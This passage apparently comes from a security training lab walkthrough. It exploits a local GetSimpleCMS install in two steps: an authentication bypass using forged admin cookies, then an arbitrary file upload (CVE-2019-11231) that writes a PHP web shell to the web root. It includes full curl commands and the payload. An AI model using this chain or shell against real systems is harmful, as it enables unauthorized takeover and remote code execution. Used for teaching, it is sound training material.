Command:
curl -vv -X HEAD "http://localhost/part2/lab4/getsimplecms/admin/settings.php"
Output:
* Trying 127.0.0.1...
[...]
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Thu, 12 Nov 2020 11:10:43 GMT
< Server: Apache/2.4.29 (Ubuntu)
[...]
< X-Frame-Options: SAMEORIGIN
< Location: index.php?redirect=settings.php?
< Content-Type: text/html; charset=utf-8
7ASecurity © 2022
44
File uploads
So without any cookies, if you hit admin/settings.php, the application will give a 302
redirect to the login page. Let’s hit this again but this time using the cookie we
generated:
Command:
curl -vv -X HEAD --cookie
"GS_ADMIN_USERNAME=admin;ab1d1826f295f9cfbb01669f571c4654d7d0faa8=2d4690a646c40
083b534122e4cb5c3283f8454be"
"http://localhost/part2/lab4/getsimplecms/admin/settings.php"
Output:
* Connected to localhost (127.0.0.1) port 80 (#0)
> HEAD /part2/lab4/getsimplecms/admin/settings.php HTTP/1.1
> Host: localhost
> User-Agent: curl/7.58.0
> Cookie:
GS_ADMIN_USERNAME=admin;ab1d1826f295f9cfbb01669f571c4654d7d0faa8=2d4690a646c400
83b534122e4cb5c3283f8454be
>
< HTTP/1.1 200 OK
< Date: Thu, 12 Nov 2020 11:11:44 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Expires: Thu, 12 Nov 2020 11:11:44 GMT
[...]
< X-Frame-Options: SAMEORIGIN
< Set-Cookie: GS_ADMIN_USERNAME=admin; expires=Thu, 12-Nov-2020 14:11:44 GMT;
Max-Age=10800; path=/; HttpOnly
< Set-Cookie:
ab1d1826f295f9cfbb01669f571c4654d7d0faa8=2d4690a646c40083b534122e4cb5c3283f8454
be; expires=Thu, 12-Nov-2020 14:11:44 GMT; Max-Age=10800; path=/; HttpOnly
< Content-Type: text/html; charset=utf-8
* no chunk, no close, no size. Assume close to signal end
As you can see and confirm from the response, we got a 200 OK which means we
successfully logged into the application with the cookies we generated.
So simply by knowing the username, APIkey, sitename and version (all of which is easy
to get) we have successfully bypassed the authentication.
7ASecurity © 2022
45
File uploads
Now that we have bypassed the Authentication, let’s go back to the original bug
CVE-2019-1123113, which is an arbitrary file upload via theme-edit.php. Let’s explore the
file to see how file uploads are being handled:
Filename:
getsimplecms/admin/theme-edit.php
Code:
# check for form submission
if((isset($_POST['submitsave']))){
During the form submission, the application first checks for CSRF token and if valid
CSRF token is present, then the $SavedFile variable has the filename and $FileContents
has the contents of the file.
13
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11231
7ASecurity © 2022
46
File uploads
So in order to upload the shell, we need to send 4 POST variables namely “nonce”
(CSRF check), “edited_file” (name of the file), “content” (content to be written into the
file” and “submitsave”.
We can get the value of nonce by initiating a GET request to theme-edit.php and
grepping for nonce.
Command:
curl -X GET --cookie
"GS_ADMIN_USERNAME=admin;ab1d1826f295f9cfbb01669f571c4654d7d0faa8=2d4690a646c40
083b534122e4cb5c3283f8454be"
"http://localhost/part2/lab4/getsimplecms/admin/theme-edit.php" | grep nonce
Output:
<input id="nonce" name="nonce" type="hidden"
value="9565a18fbd035979b21b89af7018d198bd34ed90" />
Now that we have nonce value, we can send the actual request to upload a simple PHP
shell:
Command:
curl --cookie
"GS_ADMIN_USERNAME=admin;ab1d1826f295f9cfbb01669f571c4654d7d0faa8=2d4690a646c40
083b534122e4cb5c3283f8454be" --data
"nonce=efd94f9f61054595642c658ae37eb25586d59f0f&edited_file=../shell.php&submit
save=Save+Changes&content=<?php echo shell_exec(\$_GET['cmd']); ?>"
"http://localhost/part2/lab4/getsimplecms/admin/theme-edit.php"
This will write a php shell into getsimplecms root directory. We can verify this by hitting
shell.php directly and execute our commands:
Command:
curl "http://localhost/part2/lab4/getsimplecms/shell.php?cmd=ls"
Output:
LICENSE.txt
admin
backups
data
gsconfig.php
index.php
phpinfo.php
plugins
7ASecurity © 2022
47
File uploads
readme.txt
robots.txt
shell.php
theme
7ASecurity © 2022
48